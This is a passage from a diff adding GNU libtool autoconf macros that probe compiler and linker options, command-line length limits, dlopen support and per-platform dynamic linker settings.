are warnings + if test ! -s conftest.err; then + $2=yes + fi + fi + $rm conftest* +]) + +if test x"[$]$2" = xyes; then + ifelse([$5], , :, [$5]) +else + ifelse([$6], , :, [$6]) +fi +])# AC_LIBTOOL_COMPILER_OPTION + + +# AC_LIBTOOL_LINKER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS, +# [ACTION-SUCCESS], [ACTION-FAILURE]) +# ------------------------------------------------------------ +# Check whether the given compiler option works +AC_DEFUN([AC_LIBTOOL_LINKER_OPTION], +[AC_CACHE_CHECK([$1], [$2], + [$2=no + save_LDFLAGS="$LDFLAGS" + LDFLAGS="$LDFLAGS $3" + printf "$lt_simple_link_test_code" > conftest.$ac_ext + if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test -s conftest.err; then + # Append any errors to the config.log. + cat conftest.err 1>&AS_MESSAGE_LOG_FD + else + $2=yes + fi + fi + $rm conftest* + LDFLAGS="$save_LDFLAGS" +]) + +if test x"[$]$2" = xyes; then + ifelse([$4], , :, [$4]) +else + ifelse([$5], , :, [$5]) +fi +])# AC_LIBTOOL_LINKER_OPTION + + +# AC_LIBTOOL_SYS_MAX_CMD_LEN +# -------------------------- +AC_DEFUN([AC_LIBTOOL_SYS_MAX_CMD_LEN], +[# find the maximum length of command line arguments +AC_MSG_CHECKING([the maximum length of command line arguments]) +AC_CACHE_VAL([lt_cv_sys_max_cmd_len], [dnl + i=0 + teststring="ABCD" + + case $build_os in + msdosdjgpp*) + # On DJGPP, this test can blow up pretty badly due to problems in libc + # (any single argument exceeding 2000 bytes causes a buffer overrun + # during glob expansion). Even if it were fixed, the result of this + # check would be larger than it should be. + lt_cv_sys_max_cmd_len=12288; # 12K is about right + ;; + + gnu*) + # Under GNU Hurd, this test is not required because there is + # no limit to the length of command line arguments. + # Libtool will interpret -1 as no limit whatsoever + lt_cv_sys_max_cmd_len=-1; + ;; + + cygwin* | mingw*) + # On Win9x/ME, this test blows up -- it succeeds, but takes + # about 5 minutes as the teststring grows exponentially. + # Worse, since 9x/ME are not pre-emptively multitasking, + # you end up with a "frozen" computer, even though with patience + # the test eventually succeeds (with a max line length of 256k). + # Instead, let's just punt: use the minimum linelength reported by + # all of the supported platforms: 8192 (on NT/2K/XP). + lt_cv_sys_max_cmd_len=8192; + ;; + + amigaos*) + # On AmigaOS with pdksh, this test takes hours, literally. + # So we just punt and use a minimum line length of 8192. + lt_cv_sys_max_cmd_len=8192; + ;; + + netbsd* | freebsd* | openbsd* | darwin* ) + # This has been around since 386BSD, at least. Likely further. + if test -x /sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax` + elif test -x /usr/sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax` + else + lt_cv_sys_max_cmd_len=65536 # usable default for *BSD + fi + # And add a safety zone + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` + ;; + + *) + # If test is not a shell built-in, we'll probably end up computing a + # maximum length that is only half of the actual maximum length, but + # we can't tell. + SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}} + while (test "X"`$SHELL [$]0 --fallback-echo "X$teststring" 2>/dev/null` \ + = "XX$teststring") >/dev/null 2>&1 && + new_result=`expr "X$teststring" : ".*" 2>&1` && + lt_cv_sys_max_cmd_len=$new_result && + test $i != 17 # 1/2 MB should be enough + do + i=`expr $i + 1` + teststring=$teststring$teststring + done + teststring= + # Add a significant safety factor because C++ compilers can tack on massive + # amounts of additional arguments before passing them to the linker. + # It appears as though 1/2 is a usable value. + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2` + ;; + esac +]) +if test -n $lt_cv_sys_max_cmd_len ; then + AC_MSG_RESULT($lt_cv_sys_max_cmd_len) +else + AC_MSG_RESULT(none) +fi +])# AC_LIBTOOL_SYS_MAX_CMD_LEN + + +# _LT_AC_CHECK_DLFCN +# -------------------- +AC_DEFUN([_LT_AC_CHECK_DLFCN], +[AC_CHECK_HEADERS(dlfcn.h)dnl +])# _LT_AC_CHECK_DLFCN + + +# _LT_AC_TRY_DLOPEN_SELF (ACTION-IF-TRUE, ACTION-IF-TRUE-W-USCORE, +# ACTION-IF-FALSE, ACTION-IF-CROSS-COMPILING) +# ------------------------------------------------------------------ +AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF], +[AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl +if test "$cross_compiling" = yes; then : + [$4] +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext < +#endif + +#include + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +}] +EOF + if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) $1 ;; + x$lt_dlneed_uscore) $2 ;; + x$lt_unknown|x*) $3 ;; + esac + else : + # compilation failed + $3 + fi +fi +rm -fr conftest* +])# _LT_AC_TRY_DLOPEN_SELF + + +# AC_LIBTOOL_DLOPEN_SELF +# ------------------- +AC_DEFUN([AC_LIBTOOL_DLOPEN_SELF], +[AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl +if test "x$enable_dlopen" != xyes; then + enable_dlopen=unknown + enable_dlopen_self=unknown + enable_dlopen_self_static=unknown +else + lt_cv_dlopen=no + lt_cv_dlopen_libs= + + case $host_os in + beos*) + lt_cv_dlopen="load_add_on" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ;; + + mingw* | pw32*) + lt_cv_dlopen="LoadLibrary" + lt_cv_dlopen_libs= + ;; + + cygwin*) + lt_cv_dlopen="dlopen" + lt_cv_dlopen_libs= + ;; + + darwin*) + # if libdl is installed we need to link against it + AC_CHECK_LIB([dl], [dlopen], + [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],[ + lt_cv_dlopen="dyld" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ]) + ;; + + *) + AC_CHECK_FUNC([shl_load], + [lt_cv_dlopen="shl_load"], + [AC_CHECK_LIB([dld], [shl_load], + [lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld"], + [AC_CHECK_FUNC([dlopen], + [lt_cv_dlopen="dlopen"], + [AC_CHECK_LIB([dl], [dlopen], + [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"], + [AC_CHECK_LIB([svld], [dlopen], + [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld"], + [AC_CHECK_LIB([dld], [dld_link], + [lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld"]) + ]) + ]) + ]) + ]) + ]) + ;; + esac + + if test "x$lt_cv_dlopen" != xno; then + enable_dlopen=yes + else + enable_dlopen=no + fi + + case $lt_cv_dlopen in + dlopen) + save_CPPFLAGS="$CPPFLAGS" + test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" + + save_LDFLAGS="$LDFLAGS" + eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" + + save_LIBS="$LIBS" + LIBS="$lt_cv_dlopen_libs $LIBS" + + AC_CACHE_CHECK([whether a program can dlopen itself], + lt_cv_dlopen_self, [dnl + _LT_AC_TRY_DLOPEN_SELF( + lt_cv_dlopen_self=yes, lt_cv_dlopen_self=yes, + lt_cv_dlopen_self=no, lt_cv_dlopen_self=cross) + ]) + + if test "x$lt_cv_dlopen_self" = xyes; then + LDFLAGS="$LDFLAGS $link_static_flag" + AC_CACHE_CHECK([whether a statically linked program can dlopen itself], + lt_cv_dlopen_self_static, [dnl + _LT_AC_TRY_DLOPEN_SELF( + lt_cv_dlopen_self_static=yes, lt_cv_dlopen_self_static=yes, + lt_cv_dlopen_self_static=no, lt_cv_dlopen_self_static=cross) + ]) + fi + + CPPFLAGS="$save_CPPFLAGS" + LDFLAGS="$save_LDFLAGS" + LIBS="$save_LIBS" + ;; + esac + + case $lt_cv_dlopen_self in + yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; + *) enable_dlopen_self=unknown ;; + esac + + case $lt_cv_dlopen_self_static in + yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; + *) enable_dlopen_self_static=unknown ;; + esac +fi +])# AC_LIBTOOL_DLOPEN_SELF + + +# AC_LIBTOOL_PROG_CC_C_O([TAGNAME]) +# --------------------------------- +# Check to see if options -c and -o are simultaneously supported by compiler +AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O], +[AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl +AC_CACHE_CHECK([if $compiler supports -c -o file.$ac_objext], + [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)], + [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=no + $rm -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&AS_MESSAGE_LOG_FD + echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s out/conftest.err; then + _LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes + fi + fi + chmod u+w . + $rm conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files + $rm out/* && rmdir out + cd .. + rmdir conftest + $rm conftest* +]) +])# AC_LIBTOOL_PROG_CC_C_O + + +# AC_LIBTOOL_SYS_HARD_LINK_LOCKS([TAGNAME]) +# ----------------------------------------- +# Check to see if we can do hard links to lock some files if needed +AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS], +[AC_REQUIRE([_LT_AC_LOCK])dnl + +hard_links="nottested" +if test "$_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)" = no && test "$need_locks" != no; then + # do not overwrite the value of need_locks provided by the user + AC_MSG_CHECKING([if we can lock with hard links]) + hard_links=yes + $rm conftest* + ln conftest.a conftest.b 2>/dev/null && hard_links=no + touch conftest.a + ln conftest.a conftest.b 2>&5 || hard_links=no + ln conftest.a conftest.b 2>/dev/null && hard_links=no + AC_MSG_RESULT([$hard_links]) + if test "$hard_links" = no; then + AC_MSG_WARN([`$CC' does not support `-c -o', so `make -j' may be unsafe]) + need_locks=warn + fi +else + need_locks=no +fi +])# AC_LIBTOOL_SYS_HARD_LINK_LOCKS + + +# AC_LIBTOOL_OBJDIR +# ----------------- +AC_DEFUN([AC_LIBTOOL_OBJDIR], +[AC_CACHE_CHECK([for objdir], [lt_cv_objdir], +[rm -f .libs 2>/dev/null +mkdir .libs 2>/dev/null +if test -d .libs; then + lt_cv_objdir=.libs +else + # MS-DOS does not allow filenames that begin with a dot. + lt_cv_objdir=_libs +fi +rmdir .libs 2>/dev/null]) +objdir=$lt_cv_objdir +])# AC_LIBTOOL_OBJDIR + + +# AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH([TAGNAME]) +# ---------------------------------------------- +# Check hardcoding attributes. +AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH], +[AC_MSG_CHECKING([how to hardcode library paths into programs]) +_LT_AC_TAGVAR(hardcode_action, $1)= +if test -n "$_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)" || \ + test -n "$_LT_AC_TAGVAR(runpath_var, $1)" || \ + test "X$_LT_AC_TAGVAR(hardcode_automatic, $1)" = "Xyes" ; then + + # We can hardcode non-existant directories. + if test "$_LT_AC_TAGVAR(hardcode_direct, $1)" != no && + # If the only mechanism to avoid hardcoding is shlibpath_var, we + # have to relink, otherwise we might link with an installed library + # when we should be linking with a yet-to-be-installed one + ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)" != no && + test "$_LT_AC_TAGVAR(hardcode_minus_L, $1)" != no; then + # Linking always hardcodes the temporary library directory. + _LT_AC_TAGVAR(hardcode_action, $1)=relink + else + # We can link without hardcoding, and we can hardcode nonexisting dirs. + _LT_AC_TAGVAR(hardcode_action, $1)=immediate + fi +else + # We cannot hardcode anything, or else we can only hardcode existing + # directories. + _LT_AC_TAGVAR(hardcode_action, $1)=unsupported +fi +AC_MSG_RESULT([$_LT_AC_TAGVAR(hardcode_action, $1)]) + +if test "$_LT_AC_TAGVAR(hardcode_action, $1)" = relink; then + # Fast installation is not supported + enable_fast_install=no +elif test "$shlibpath_overrides_runpath" = yes || + test "$enable_shared" = no; then + # Fast installation is not necessary + enable_fast_install=needless +fi +])# AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH + + +# AC_LIBTOOL_SYS_LIB_STRIP +# ------------------------ +AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP], +[striplib= +old_striplib= +AC_MSG_CHECKING([whether stripping libraries is possible]) +if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then + test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" + test -z "$striplib" && striplib="$STRIP --strip-unneeded" + AC_MSG_RESULT([yes]) +else +# FIXME - insert some real tests, host_os isn't really good enough + case $host_os in + darwin*) + if test -n "$STRIP" ; then + striplib="$STRIP -x" + AC_MSG_RESULT([yes]) + else + AC_MSG_RESULT([no]) +fi + ;; + *) + AC_MSG_RESULT([no]) + ;; + esac +fi +])# AC_LIBTOOL_SYS_LIB_STRIP + + +# AC_LIBTOOL_SYS_DYNAMIC_LINKER +# ----------------------------- +# PORTME Fill in your ld.so characteristics +AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER], +[AC_MSG_CHECKING([dynamic linker characteristics]) +library_names_spec= +libname_spec='lib$name' +soname_spec= +shrext_cmds=".so" +postinstall_cmds= +postuninstall_cmds= +finish_cmds= +finish_eval= +shlibpath_var= +shlibpath_overrides_runpath=unknown +version_type=none +dynamic_linker="$host_os ld.so" +sys_lib_dlsearch_path_spec="/lib /usr/lib" +if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then + # if the path contains ";" then we assume it to be the separator + # otherwise default to the standard path separator (i.e. ":") - it is + # assumed that no part of a normal pathname contains ";" but that should + # okay in the real world where ";" in dirpaths is itself problematic. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi +else + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" +fi +need_lib_prefix=unknown +hardcode_into_libs=no + +# when you set need_version to no, make sure it does not cause -set_version +# flags to be left without arguments +need_version=unknown + +case $host_os in +aix3*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' + shlibpath_var=LIBPATH + + # AIX 3 has no versioning support, so we append a major version to the name. + soname_spec='${libname}${release}${shared_ext}$major' + ;; + +aix4* | aix5*) + version_type=linux + need_lib_prefix=no + need_version=no + hardcode_into_libs=yes + if test "$host_cpu" = ia64; then + # AIX 5 supports IA64 + library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + else + # With GCC up to 2.95.x, collect2 would create an import file + # for dependence libraries. The import file would start with + # the line `#! .'. This would cause the generated library to + # depend on `.', always an invalid library. This was fixed in + # development snapshots of GCC prior to 3.0. + case $host_os in + aix4 | aix4.[[01]] | aix4.[[01]].*) + if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' + echo ' yes ' + echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then + : + else + can_build_shared=no + fi + ;; + esac + # AIX (on Power*) has no versioning support, so currently we can not hardcode correct + # soname into executable. Probably we can add versioning support to + # collect2, so additional links can be useful in future. + if test "$aix_use_runtimelinking" = yes; then + # If using run time linking (on AIX 4.2 or later) use lib.so + # instead of lib.a to let people know that these are not + # typical AIX shared libraries. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + else + # We preserve .a as extension for shared libraries through AIX4.2 + # and later when we are not doing run time linking. + library_names_spec='${libname}${release}.a $libname.a' + soname_spec='${libname}${release}${shared_ext}$major' + fi + shlibpath_var=LIBPATH + fi + ;; + +amigaos*) + library_names_spec='$libname.ixlibrary $libname.a' + # Create ${libname}_ixlibrary.a entries in /sys/libs. + finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([[^/]]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' + ;; + +beos*) + library_names_spec='${libname}${shared_ext}' + dynamic_linker="$host_os ld.so" + shlibpath_var=LIBRARY_PATH + ;; + +bsdi[[45]]*) + version_type=linux + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" + sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" + # the default ld.so.conf also contains /usr/contrib/lib and + # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow + # libtool to hard-code these into programs + ;; + +cygwin* | mingw* | pw32*) + version_type=windows + shrext_cmds=".dll" + need_version=no + need_lib_prefix=no + + case $GCC,$host_os in + yes,cygwin* | yes,mingw* | yes,pw32*) + library_names_spec='$libname.dll.a' + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \${file}`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $rm \$dlpath' + shlibpath_overrides_runpath=yes + + case $host_os in + cygwin*) + # Cygwin DLLs use 'cyg' prefix rather than 'lib' + soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib" + ;; + mingw*) + # MinGW DLLs use traditional 'lib' prefix + soname_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | [grep ';[c-zC-Z]:/' >/dev/null]; then + # It is most probably a Windows format PATH printed by + # mingw gcc, but we are running on Cygwin. Gcc prints its search + # path with ; separators, and with drive letters. We can handle the + # drive letters (cygwin fileutils understands them), so leave them, + # especially as we might pass files found there to a mingw objdump, + # which wouldn't understand a cygwinified path. Ahh. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi + ;; + pw32*) + # pw32 DLLs use 'pw' prefix rather than 'lib' + library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + ;; + esac + ;; + + *) + library_names_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext} $libname.lib' + ;; + esac + dynamic_linker='Win32 ld.exe' + # FIXME: first we should search . and the directory the executable is in + shlibpath_var=PATH + ;; + +darwin* | rhapsody*) + dynamic_linker="$host_os dyld" + version_type=darwin + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext' + soname_spec='${libname}${release}${major}$shared_ext' + shlibpath_overrides_runpath=yes + shlibpath_var=DYLD_LIBRARY_PATH + shrext_cmds='$(test .$module = .yes && echo .so || echo .dylib)' + # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same. + if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` + else + sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib' + fi + sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' + ;; + +dgux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +freebsd1*) + dynamic_linker=no + ;; + +kfreebsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +freebsd*) + objformat=`test -x /usr/bin/objformat && /usr/bin/objformat || echo aout` + version_type=freebsd-$objformat + case $version_type in + freebsd-elf*) + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' + need_version=no + need_lib_prefix=no + ;; + freebsd-*) + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' + need_version=yes + ;; + esac + shlibpath_var=LD_LIBRARY_PATH + case $host_os in + freebsd2*) + shlibpath_overrides_runpath=yes + ;; + freebsd3.[01]* | freebsdelf3.[01]*) + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + *) # from 3.2 on + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + esac + ;; + +gnu*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + hardcode_into_libs=yes + ;; + +hpux9* | hpux10* | hpux11*) + # Give a soname corresponding to the major version so that dld.sl refuses to + # link against other versions. + version_type=sunos + need_lib_prefix=no + need_version=no + case "$host_cpu" in + ia64*) + shrext_cmds='.so' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + if test "X$HPUX_IA64_MODE" = X32; then + sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" + else + sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" + fi + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + hppa*64*) + shrext_cmds='.sl' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + *) + shrext_cmds='.sl' + dynamic_linker="$host_os dld.sl" + shlibpath_var=SHLIB_PATH + shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + ;; + esac + # HP-UX runs *really* slowly unless shared libraries are mode 555. + postinstall_cmds='chmod 555 $lib' + ;; + +irix5* | irix6* | nonstopux*) + case $host_os in + nonstopux*) version_type=nonstopux ;; + *) + if test "$lt_cv_prog_gnu_ld" = yes; then + version_type=linux + else + version_type=irix + fi ;; + esac + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' + case $host_os in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in # libtool.m4 will add one of these switches to LD + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") + libsuff= shlibsuff= libmagic=32-bit;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") + libsuff=32 shlibsuff=N32 libmagic=N32;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") + libsuff=64 shlibsuff=64 libmagic=64-bit;; + *) libsuff= shlibsuff= libmagic=never-match;; + esac + ;; + esac + shlibpath_var=LD_LIBRARY${shlibsuff}_PATH + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" + sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" + hardcode_into_libs=yes + ;; + +# No shared lib support for Linux oldld, aout, or coff. +linux*oldld* | linux*aout* | linux*coff*) + dynamic_linker=no + ;; + +# This must be Linux ELF. +linux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + # Append ld.so.conf contents to the search path + if test -f /etc/ld.so.conf; then + lt_ld_extra=`$SED -e 's/[:,\t]/ /g;s/=[^=]*$//;s/=[^= ]* / /g' /etc/ld.so.conf | tr '\n' ' '` + sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra" + fi + + # We used to test for /lib/ld.so.1 and disable shared libraries on + # powerpc, because MkLinux only supported shared libraries with the + # GNU dynamic linker. Since this was broken with cross compilers, + # most powerpc-linux boxes support dynamic linking these days and + # people can always --disable-shared, the test was removed, and we + # assume the GNU/Linux dynamic linker is in use. + dynamic_linker='GNU/Linux ld.so' + ;; + +knetbsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +netbsd*) + version_type=sunos + 